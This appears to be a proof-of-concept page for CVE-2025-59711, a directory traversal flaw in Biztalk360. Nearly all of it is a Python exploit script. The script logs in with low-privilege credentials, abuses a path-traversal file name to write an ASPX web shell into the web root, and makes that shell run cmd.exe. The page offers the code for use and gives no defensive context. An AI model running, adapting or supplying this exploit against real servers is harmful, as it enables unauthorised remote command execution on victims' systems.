CVE-2025-59711 Biztalk360目录遍历漏洞

import requests # Target configuration target_url = "http://vulnerable-host/upload_endpoint" login_url = "http://vulnerable-host/login" # Attacker credentials (Low privilege required) username = "attacker" password = "password" # Establish session session = requests.Session() login_data = {"username": username, "password": password} session.post(login_url, data=login_data) # Path traversal payload to write outside destination directory # Attempting to write a webshell to the web root payload_filename = "../../webroot/shell.aspx" shell_content = "<%@ Page Language=\"C#\" %>" shell_content += "<script runat=\"server\">void Page_Load(){System.Diagnostics.Process.Start(\"cmd.exe\",\"/c whoami\");}</script>" files = { "file": (payload_filename, shell_content) } # Send malicious upload request try: response = session.post(target_url, files=files) if response.status_code == 200: print("[+] Potential exploit successful. Check the target path.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")